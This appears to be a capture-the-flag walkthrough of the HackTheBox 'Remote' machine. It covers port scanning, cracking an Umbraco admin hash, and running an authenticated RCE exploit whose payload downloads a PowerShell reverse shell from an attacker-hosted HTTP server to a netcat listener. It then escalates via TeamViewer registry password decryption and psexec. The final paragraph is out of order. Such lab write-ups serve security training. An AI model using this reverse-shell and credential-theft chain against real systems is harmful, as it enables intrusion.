-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Thu Mar 17 20:30:07 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up (0.31s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
111/tcp open rpcbind
135/tcp open msrpc
445/tcp open microsoft-ds
2049/tcp open nfs
49666/tcp open unknown
# Nmap done at Thu Mar 17 20:30:34 2022 -- 1 IP address (1 host up) scanned in 26.91 seconds
As we see, there quite a few ports are open. Let's try to obtain more information about the services and versions running on those ports.
If we take at look a the /install directory, which redirects to the /umbraco/ directory, we'll see a login page.
If we search for common umbraco exploits with the searchsploit tool, we'll see that there is one which allow us to execute commands remotely, but we need some valid credentials to use it.
Let's see if we can get the password for that hash with crackstation.
CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.
And we get the baconandcheese password. Now that we've got some valid credentials, we can use the exploit we found earlier with searchsploit.
Before executing it, we'll have to change a few things. First we'll have to change the login variable to admin@htb.local, the password variable to baconandcheese, and the host variable to http://10.10.10.180.
And then set an HTTP server on the current directory with python.
python -m http.server 80
Then, back to the python script, in the payload variable, we'll have to change it, so it will download and import the rev.ps1 file, and when it is executed, it will send us the reverse shell.
Finally, let's set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Now, if we execute the python script, we should get a reverse shell as the iis apppool\defaultapppool user, and we cloud grab the user flag.
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.180] 49703
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
iis apppool\defaultapppool
type \users\public\user.txt
6d0c411c9accbbe995751f83645e54d1
Privilege Escalation
If we list the processes running on the local machine, we'll see that TeamViewer is being executed.
tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 0 8 K
System 4 0 140 K
Registry 88 0 20,108 K
smss.exe 292 0 1,244 K
csrss.exe 372 0 5,208 K
wininit.exe 480 0 6,856 K
csrss.exe 496 1 4,712 K
winlogon.exe 544 1 16,440 K
services.exe 612 0 7,880 K
lsass.exe 632 0 13,672 K
svchost.exe 732 0 13,660 K
fontdrvhost.exe 752 0 3,908 K
fontdrvhost.exe 760 1 4,200 K
svchost.exe 844 0 9,896 K
dwm.exe 936 1 37,272 K
svchost.exe 972 0 59,996 K
svchost.exe 312 0 15,084 K
svchost.exe 316 0 17,164 K
svchost.exe 364 0 16,912 K
svchost.exe 1036 0 19,164 K
svchost.exe 1120 0 22,272 K
vm3dservice.exe 1236 0 6,548 K
svchost.exe 1440 0 8,696 K
svchost.exe 1580 0 16,796 K
spoolsv.exe 1596 0 16,248 K
svchost.exe 1804 0 10,652 K
svchost.exe 2060 0 26,804 K
svchost.exe 2080 0 11,784 K
inetinfo.exe 2104 0 15,192 K
svchost.exe 2164 0 8,288 K
TeamViewer_Service.exe 2228 0 19,268 K
VGAuthService.exe 2256 0 10,548 K
vmtoolsd.exe 2280 0 17,692 K
svchost.exe 2296 0 7,372 K
svchost.exe 2312 0 12,276 K
MsMpEng.exe 2404 0 170,252 K
nfssvc.exe 2412 0 5,264 K
svchost.exe 2536 0 12,124 K
dllhost.exe 3132 0 13,384 K
WmiPrvSE.exe 3264 0 18,532 K
LogonUI.exe 3468 1 45,868 K
msdtc.exe 3536 0 10,156 K
SearchIndexer.exe 4204 0 18,212 K
svchost.exe 776 0 12,864 K
w3wp.exe 1372 0 298,748 K
svchost.exe 4992 0 6,204 K
cmd.exe 472 0 3,712 K
conhost.exe 2132 0 12,272 K
powershell.exe 4084 0 126,344 K
tasklist.exe 2684 0 7,588 K
If we check on the C:\Program Files (x86)\TeamViewer directory, we'll see that it is using version 7.
dir \progra~2\TeamViewer
Directory: C:\Program Files (x86)\TeamViewer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2020 10:35 AM Version7
There is a Metasploit script coded in ruby, which can break the TeamViewer passwords. All we need is the password hash, and we can find it in the HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7 registry. This registry has the SecurityPasswordAES property which contains the password hash.
And we can verify that the password is valid. Finally, let's get a shell as the nt authority\system user with psexec. Then, all we have to do is reap the harvest and take the root flag.
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file SliGWDPW.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service gnjn on 10.10.10.180.....
[*] Starting service gnjn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type \users\administrator\desktop\root.txt
f5f08ce4e749219167bb2e08abe2283b
Then we'll have to change the payload variable, so it will send us back a reverse shell. But first, we'll have to copy the Invoke-PowerShellTcp.ps1 file from to our current directory.
